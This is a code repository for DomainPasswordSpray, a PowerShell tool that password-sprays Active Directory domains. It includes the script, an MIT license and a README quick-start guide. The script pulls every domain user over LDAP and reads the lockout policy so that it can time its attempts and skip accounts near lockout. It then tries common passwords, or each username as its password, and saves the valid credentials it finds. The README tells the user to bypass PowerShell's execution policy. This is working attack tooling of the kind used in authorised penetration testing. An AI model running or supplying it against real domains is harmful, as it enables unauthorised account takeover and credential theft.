├── DomainPasswordSpray.ps1 ├── LICENSE └── README.md /DomainPasswordSpray.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DomainPasswordSpray{ 2 | <# 3 | .SYNOPSIS 4 | 5 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 6 | 7 | DomainPasswordSpray Function: Invoke-DomainPasswordSpray 8 | Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 16 | 17 | .PARAMETER UserList 18 | 19 | Optional UserList parameter. This will be generated automatically if not specified. 20 | 21 | .PARAMETER Password 22 | 23 | A single password that will be used to perform the password spray. 24 | 25 | .PARAMETER PasswordList 26 | 27 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 28 | 29 | .PARAMETER OutFile 30 | 31 | A file to output the results to. 32 | 33 | .PARAMETER Domain 34 | 35 | The domain to spray against. 36 | 37 | .PARAMETER Filter 38 | 39 | Custom LDAP filter for users, e.g. "(description=*admin*)" 40 | 41 | .PARAMETER Force 42 | 43 | Forces the spray to continue and doesn't prompt for confirmation. 44 | 45 | .PARAMETER UsernameAsPassword 46 | 47 | For each user, will try that user's name as their password 48 | 49 | .EXAMPLE 50 | 51 | C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 52 | 53 | Description 54 | ----------- 55 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. 56 | 57 | .EXAMPLE 58 | 59 | C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 60 | 61 | Description 62 | ----------- 63 | This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. 64 | 65 | .EXAMPLE 66 | 67 | C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt 68 | 69 | Description 70 | ----------- 71 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt 72 | 73 | #> 74 | param( 75 | [Parameter(Position = 0, Mandatory = $false)] 76 | [string] 77 | $UserList = "", 78 | 79 | [Parameter(Position = 1, Mandatory = $false)] 80 | [string] 81 | $Password, 82 | 83 | [Parameter(Position = 2, Mandatory = $false)] 84 | [string] 85 | $PasswordList, 86 | 87 | [Parameter(Position = 3, Mandatory = $false)] 88 | [string] 89 | $OutFile, 90 | 91 | [Parameter(Position = 4, Mandatory = $false)] 92 | [string] 93 | $Filter = "", 94 | 95 | [Parameter(Position = 5, Mandatory = $false)] 96 | [string] 97 | $Domain = "", 98 | 99 | [Parameter(Position = 6, Mandatory = $false)] 100 | [switch] 101 | $Force, 102 | 103 | [Parameter(Position = 7, Mandatory = $false)] 104 | [switch] 105 | $UsernameAsPassword, 106 | 107 | [Parameter(Position = 8, Mandatory = $false)] 108 | [int] 109 | $Delay=0, 110 | 111 | [Parameter(Position = 9, Mandatory = $false)] 112 | $Jitter=0 113 | 114 | ) 115 | 116 | if ($Password) 117 | { 118 | $Passwords = @($Password) 119 | } 120 | elseif($UsernameAsPassword) 121 | { 122 | $Passwords = "" 123 | } 124 | elseif($PasswordList) 125 | { 126 | $Passwords = Get-Content $PasswordList 127 | } 128 | else 129 | { 130 | "[!] The -Password or -PasswordList option must be specified" 131 | break 132 | } 133 | 134 | try 135 | { 136 | if ($Domain -ne "") 137 | { 138 | # Using domain specified with -Domain option 139 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 140 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 141 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 142 | } 143 | else 144 | { 145 | # Trying to use the current user's domain 146 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 147 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 148 | } 149 | } 150 | catch 151 | { 152 | throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 1" 153 | } 154 | 155 | if ($UserList -eq "") 156 | { 157 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter 158 | } 159 | else 160 | { 161 | # if a Userlist is specified use it and do not check for lockout thresholds 162 | "[*] Using $UserList as userlist to spray with" 163 | "[!] Warning: Users will not be checked for lockout threshold." 164 | $UserListArray = @() 165 | try 166 | { 167 | $UserListArray = Get-Content $UserList -ErrorAction stop 168 | } 169 | catch [Exception] 170 | { 171 | "[!] $_.Exception" 172 | break 173 | } 174 | 175 | } 176 | 177 | 178 | if ($Passwords.count > 1) 179 | { 180 | "[!] WARNING - Be very careful not to lock out accounts with the password list option!" 181 | } 182 | 183 | $observation_window = Get-ObservationWindow 184 | 185 | "[*] The domain password policy observation window is set to $observation_window minutes." 186 | "[*] Setting a $observation_window minute wait in between sprays." 187 | 188 | # if no force flag is set we will ask if the user is sure they want to spray 189 | if (!$Force) 190 | { 191 | $title = "Confirm Password Spray" 192 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 193 | 194 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 195 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." 196 | 197 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 198 | "Cancels the password spray." 199 | 200 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 201 | 202 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 203 | 204 | if ($result -ne 0) 205 | { 206 | "[*] Cancelling the password spray." 207 | break 208 | } 209 | } 210 | $pass_count = $Passwords.count 211 | "[*] Password spraying has begun with $pass_count passwords" 212 | "[*] This might take a while depending on the total number of users" 213 | 214 | if($UsernameAsPassword) 215 | { 216 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword 217 | } 218 | else 219 | { 220 | for($i = 0; $i -lt $Passwords.count; $i++) 221 | { 222 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter 223 | if (($i+1) -lt $Passwords.count) 224 | { 225 | Countdown-Timer -Seconds (60*$observation_window) 226 | } 227 | } 228 | } 229 | 230 | "[*] Password spraying is complete" 231 | if ($OutFile -ne "") 232 | { 233 | "[+] Any passwords that were successfully sprayed have been output to $OutFile" 234 | } 235 | } 236 | 237 | function Countdown-Timer 238 | { 239 | param( 240 | $Seconds = 1800, 241 | $Message = "[*] Pausing to avoid account lockout." 242 | ) 243 | foreach ($Count in (1..$Seconds)) 244 | { 245 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) 246 | Start-Sleep -Seconds 1 247 | } 248 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed 249 | } 250 | 251 | function Get-DomainUserList 252 | { 253 | <# 254 | .SYNOPSIS 255 | 256 | This module gathers a userlist from the domain. 257 | 258 | DomainPasswordSpray Function: Get-DomainUserList 259 | Author: Beau Bullock (@dafthack) 260 | License: BSD 3-Clause 261 | Required Dependencies: None 262 | Optional Dependencies: None 263 | 264 | .DESCRIPTION 265 | 266 | This module gathers a userlist from the domain. 267 | 268 | .PARAMETER Domain 269 | 270 | The domain to spray against. 271 | 272 | .PARAMETER RemoveDisabled 273 | 274 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) 275 | 276 | .PARAMETER RemovePotentialLockouts 277 | 278 | Removes accounts within 1 attempt of locking out. 279 | 280 | .PARAMETER Filter 281 | 282 | Custom LDAP filter for users, e.g. "(description=*admin*)" 283 | 284 | .EXAMPLE 285 | 286 | PS C:\> Get-DomainUserList 287 | 288 | Description 289 | ----------- 290 | This command will gather a userlist from the domain including all samAccountType "805306368". 291 | 292 | .EXAMPLE 293 | 294 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 295 | 296 | Description 297 | ----------- 298 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" 299 | 300 | #> 301 | param( 302 | [Parameter(Position = 0, Mandatory = $false)] 303 | [string] 304 | $Domain = "", 305 | 306 | [Parameter(Position = 1, Mandatory = $false)] 307 | [switch] 308 | $RemoveDisabled, 309 | 310 | [Parameter(Position = 2, Mandatory = $false)] 311 | [switch] 312 | $RemovePotentialLockouts, 313 | 314 | [Parameter(Position = 3, Mandatory = $false)] 315 | [string] 316 | $Filter 317 | ) 318 | 319 | try 320 | { 321 | if ($Domain -ne "") 322 | { 323 | # Using domain specified with -Domain option 324 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 325 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 326 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 327 | } 328 | else 329 | { 330 | # Trying to use the current user's domain 331 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 332 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 333 | } 334 | } 335 | catch 336 | { 337 | throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 2" 338 | } 339 | 340 | # Setting the current domain's account lockout threshold 341 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" 342 | $AccountLockoutThresholds = @() 343 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold 344 | 345 | # Getting the AD behavior version to determine if fine-grained password policies are possible 346 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) 347 | if ($behaviorversion -ge 3) 348 | { 349 | # Determine if there are any fine-grained password policies 350 | "[*] Current domain is compatible with Fine-Grained Password Policy." 351 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher 352 | $ADSearcher.SearchRoot = $objDeDomain 353 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" 354 | $PSOs = $ADSearcher.FindAll() 355 | 356 | if ( $PSOs.count -gt 0) 357 | { 358 | "[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n" 359 | foreach($entry in $PSOs) 360 | { 361 | # Selecting the lockout threshold, min pwd length, and which 362 | # groups the fine-grained password policy applies to 363 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties 364 | $PSOPolicyName = $PSOFineGrainedPolicy.name 365 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' 366 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' 367 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' 368 | # adding lockout threshold to array for use later to determine which is the lowest. 369 | $AccountLockoutThresholds += $PSOLockoutThreshold 370 | 371 | "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" 372 | } 373 | } 374 | } 375 | 376 | $observation_window = Get-ObservationWindow 377 | 378 | # Generate a userlist from the domain 379 | # Selecting the lowest account lockout threshold in the domain to avoid 380 | # locking out any accounts. 381 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 382 | "[*] Now creating a list of users to spray..." 383 | 384 | if ($SmallestLockoutThreshold -eq "0") 385 | { 386 | "[*] There appears to be no lockout policy." 387 | } 388 | else 389 | { 390 | "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." 391 | } 392 | 393 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) 394 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry 395 | $UserSearcher.SearchRoot = $DirEntry 396 | 397 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null 398 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null 399 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null 400 | 401 | if ($RemoveDisabled) 402 | { 403 | "[*] Removing disabled users from list." 404 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) 405 | # LDAP 1.2.840.113556.1.4.803 means bitwise & 406 | # uac 0x2 is ACCOUNTDISABLE 407 | # uac 0x10 is LOCKOUT 408 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ 409 | $UserSearcher.filter = 410 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" 411 | } 412 | else 413 | { 414 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" 415 | } 416 | 417 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null 418 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null 419 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null 420 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll 421 | 422 | #$UserSearcher.filter 423 | 424 | # grab batches of 1000 in results 425 | $UserSearcher.PageSize = 1000 426 | $AllUserObjects = $UserSearcher.FindAll() 427 | "[+] There are " + $AllUserObjects.count + " total users found." 428 | $UserListArray = @() 429 | 430 | if ($RemovePotentialLockouts) 431 | { 432 | "[*] Removing users within 1 attempt of locking out from list." 433 | foreach ($user in $AllUserObjects) 434 | { 435 | # Getting bad password counts and lst bad password time for each user 436 | $badcount = $user.Properties.badpwdcount 437 | $samaccountname = $user.Properties.samaccountname 438 | try 439 | { 440 | $badpasswordtime = $user.Properties.badpasswordtime[0] 441 | } 442 | catch 443 | { 444 | continue 445 | } 446 | $currenttime = Get-Date 447 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) 448 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes 449 | 450 | if ($badcount) 451 | { 452 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) 453 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount 454 | # if there is more than 1 attempt left before a user locks out 455 | # or if the time since the last failed login is greater than the domain 456 | # observation window add user to spray list 457 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) 458 | { 459 | $UserListArray += $samaccountname 460 | } 461 | } 462 | } 463 | } 464 | else 465 | { 466 | foreach ($user in $AllUserObjects) 467 | { 468 | $samaccountname = $user.Properties.samaccountname 469 | $UserListArray += $samaccountname 470 | } 471 | } 472 | 473 | "[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain" 474 | return $UserListArray 475 | } 476 | 477 | function Invoke-SpraySinglePassword 478 | { 479 | param( 480 | [Parameter(Position=1)] 481 | $Domain, 482 | [Parameter(Position=2)] 483 | [string[]] 484 | $UserListArray, 485 | [Parameter(Position=3)] 486 | [string] 487 | $Password, 488 | [Parameter(Position=4)] 489 | [string] 490 | $OutFile, 491 | [Parameter(Position=5)] 492 | [int] 493 | $Delay=0, 494 | [Parameter(Position=6)] 495 | [double] 496 | $Jitter=0, 497 | [Parameter(Position=7)] 498 | [switch] 499 | $UsernameAsPassword 500 | ) 501 | $time = Get-Date 502 | $count = $UserListArray.count 503 | "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" 504 | $curr_user = 0 505 | "[*] Writing successes to $OutFile" 506 | $RandNo = New-Object System.Random 507 | 508 | foreach ($User in $UserListArray) 509 | { 510 | if ($UsernameAsPassword) 511 | { 512 | $Password = $User 513 | } 514 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) 515 | if ($Domain_check.name -ne $null) 516 | { 517 | if ($OutFile -ne "") 518 | { 519 | Add-Content $OutFile $User`:$Password 520 | } 521 | "[+] SUCCESS! User:$User Password:$Password" 522 | } 523 | $curr_user += 1 524 | "[*] $curr_user of $count users tested`r" 525 | if ($Delay) 526 | { 527 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 528 | } 529 | } 530 | 531 | } 532 | 533 | function Get-ObservationWindow() 534 | { 535 | # Get account lockout observation window to avoid running more than 1 536 | # password spray per observation window. 537 | $command = "cmd.exe /C net accounts /domain" 538 | $net_accounts_results = Invoke-Expression -Command:$command 539 | $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) 540 | $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) 541 | $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" 542 | [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) 543 | return $observation_window 544 | } 545 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 dafthack 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DomainPasswordSpray 2 | DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! 3 | 4 | ## Quick Start Guide 5 | Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass'. 6 | 7 | Type 'Import-Module DomainPasswordSpray.ps1'. 8 | 9 | The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts. 10 | 11 | The following command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Spring2017. 12 | ```PowerShell 13 | Invoke-DomainPasswordSpray -Password Spring2017 14 | ``` 15 | 16 | The following command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt 17 | ```PowerShell 18 | Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 19 | ``` 20 | 21 | ### Invoke-DomainPasswordSpray Options 22 | ``` 23 | UserList - Optional UserList parameter. This will be generated automatically if not specified. 24 | Password - A single password that will be used to perform the password spray. 25 | PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 26 | OutFile - A file to output the results to. 27 | Domain - A domain to spray against. 28 | Force - Forces the spray to continue without prompting for confirmation. 29 | 30 | ``` 31 | ## Get-DomainUserList Module 32 | The function Get-DomainUserList allows you to generate a userlist from the domain. It has options to remove disabled accounts and those that are about to be locked out. This is performed automatically in DomainPasswordSpray if no user list is specified. 33 | 34 | This command will write the domain user list without disabled accounts or accounts about to be locked out to a file at "userlist.txt". 35 | ```PowerShell 36 | Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 37 | ``` 38 | --------------------------------------------------------------------------------